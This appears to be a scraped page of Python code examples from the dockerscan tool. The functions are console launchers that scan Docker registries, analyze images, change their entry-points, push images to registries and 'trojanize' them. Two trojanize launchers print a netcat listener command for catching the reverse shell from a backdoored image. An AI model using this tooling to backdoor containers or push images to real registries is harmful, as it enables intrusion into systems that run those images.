Ejemplo n.º 1
0
def launch_dockerscan_scan_in_console(config: DockerScanModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting the scanning")

        results = run_scan_dockerscan(config)

        log.console("Scanning results:")
        if results:
            for result in results:
                for host, open_ports in result.items():
                    log.console(" > Registry: {}".format(host))

                    for port, status, is_ssl in open_ports:
                        log.console("   - {}/TCP - [SSL: {}] - [{}]".format(
                            port,
                            "Enabled" if is_ssl else "Disabled",
                            status.upper()))

        else:
            log.console("No registries found")
Ejemplo n.º 2
0
def launch_dockerscan_scan_in_console(config: DockerScanModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):
        run_scan_dockerscan(config)
Ejemplo n.º 3
0
def launch_dockerscan_image_modify_trojanize_in_console(
        config: DockerImageInfoModifyTrojanizeModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting analyzing docker image...")
        log.console("Selected image: '{}'".format(
            os.path.basename(config.image_path)))

        run_image_modify_trojanize_dockerscan(config)

        log.console("Image troyanized successful")
        log.console("Trojanized image location:")
        log.console("  > {}".format(
            "{}.tar".format(os.path.abspath(config.output_image))
            if config.output_image else
            "{}.tar".format(
                os.path.abspath(os.path.basename(config.image_path)))
        ))
        log.console("To receive the reverse shell, only write:")
        log.console("  > nc -v -k -l {} {}".format(
            config.remote_addr,
            config.remote_port
        ))
Ejemplo n.º 4
0
def launch_dockerscan_image_extract_in_console(config: DockerImageInfoModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting the extraction of docker image...")
        log.console("Selected image: '{}'".format(
            os.path.basename(config.image_path)))

        run_image_extract_dockerscan(config)

        # Display image summary
        log.console("Image content extracted")
Ejemplo n.º 5
0
def launch_dockerscan_image_extract_in_console(config: DockerImageInfoModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting the extraction of docker image...")
        log.console("Selected image: '{}'".format(
            os.path.basename(config.image_path)))

        run_image_extract_dockerscan(config)

        # Display image summary
        log.console("Image content extracted")
Ejemplo n.º 6
0
def launch_dockerscan_image_info_in_console(config: DockerImageInfoModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting analyzing docker image...")
        log.console("Selected image: '{}'".format(
            os.path.basename(config.image_path)))

        results = run_image_info_dockerscan(config)

        # Display image summary
        log.console("Analysis finished. Results:")
        display_results_console(results, log)
Ejemplo n.º 7
0
def launch_dockerscan_image_analyze_in_console(config: DockerImageAnalyzeModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting the analysis of docker image...")
        log.console("Selected image: '{}'".format(
            os.path.basename(config.image_path)))

        results = run_image_analyze_dockerscan(config)

        # Display image summary
        log.console("Analysis finished. Results:")
        display_results_console(results, log)
Ejemplo n.º 8
0
def launch_dockerscan_image_modify_entrypoint_in_console(
        config: DockerImageInfoModifyEntryPointModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting analyzing docker image...")
        log.console("Selected image: '{}'".format(
            os.path.basename(config.image_path)))
        log.console("Updating to the new entry-point: '{}'".format(
            os.path.basename(config.new_entry_point)))

        run_image_modify_entry_point_dockerscan(config)

        log.console("Entry-point updated successful")
Ejemplo n.º 9
0
def launch_dockerscan_image_modify_entrypoint_in_console(
        config: DockerImageInfoModifyEntryPointModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting analyzing docker image...")
        log.console("Selected image: '{}'".format(
            os.path.basename(config.image_path)))
        log.console("Updating to the new entry-point: '{}'".format(
            os.path.basename(config.new_entry_point)))

        run_image_modify_entry_point_dockerscan(config)

        log.console("Entry-point updated successful")
Ejemplo n.º 10
0
def launch_dockerscan_analyze_info_in_console(config: DockerAnalyzeInfoModel):

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        try:
            log.console("Starting analyzing docker Registry...")
            log.console("Selected registry: '{}'".format(
                sanitize_url(config.registry)))

            results = run_analyze_info_dockerscan(config)

            # Show results
            log.console("Analysis finished. Results:")
            display_results_console(results, log)
        except DockerscanTimeoutError as e:
            log.console(e)
Ejemplo n.º 11
0
def launch_dockerscan_analyze_upload_in_console(config: DockerAnalyzeUploadModel):

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        try:
            log.console("Uploading file to Registry...")
            log.console("Selected registry: '{}'".format(
                sanitize_url(config.registry)))

            link = run_analyze_upload_dockerscan(config)

            # Show results
            log.console("File location:")
            log.console("  > {}".format(link))

        except DockerscanTimeoutError as e:
            log.console(e)
Ejemplo n.º 12
0
def launch_dockerscan_analyze_push_in_console(config: DockerAnalyzePushModel):

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        try:
            log.console("Starting pushing process to Registry...")
            log.console("Selected registry: '{}'".format(
                sanitize_url(config.registry)))

            link = run_analyze_push_dockerscan(config)

            # Show results
            log.console("Image uploaded")
            log.console("  > {}".format(link))

        except DockerscanTimeoutError as e:
            log.console(e)
Ejemplo n.º 13
0
def launch_dockerscan_image_modify_trojanize_in_console(
        config: DockerImageInfoModifyTrojanizeModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting analyzing docker image...")
        log.console("Selected image: '{}'".format(
            os.path.basename(config.image_path)))

        run_image_modify_trojanize_dockerscan(config)

        log.console("Image trojanized successfully")
        log.console("Trojanized image location:")
        log.console("  > {}".format(
            "{}.tar".format(os.path.abspath(config.output_image)
                            ) if config.output_image else "{}.tar".
            format(os.path.abspath(os.path.basename(config.image_path)))))
        log.console("To receive the reverse shell, only write:")
        log.console("  > nc -v -k -l {} {}".format(config.remote_addr,
                                                   config.remote_port))
Ejemplo n.º 14
0
def launch_dockerscan_scan_in_console(config: DockerScanModel):
    """Launch in console mode"""

    log.setLevel(get_log_level(config.verbosity))

    with run_in_console(config.debug):

        log.console("Starting the scanning")

        results = run_scan_dockerscan(config)

        log.console("Scanning results:")
        if results:
            for result in results:
                for host, open_ports in result.items():
                    log.console(" > Registry: {}".format(host))

                    for port, status, is_ssl in open_ports:
                        log.console("   - {}/TCP - [SSL: {}] - [{}]".format(
                            port, "Enabled" if is_ssl else "Disabled",
                            status.upper()))

        else:
            log.console("No registries found")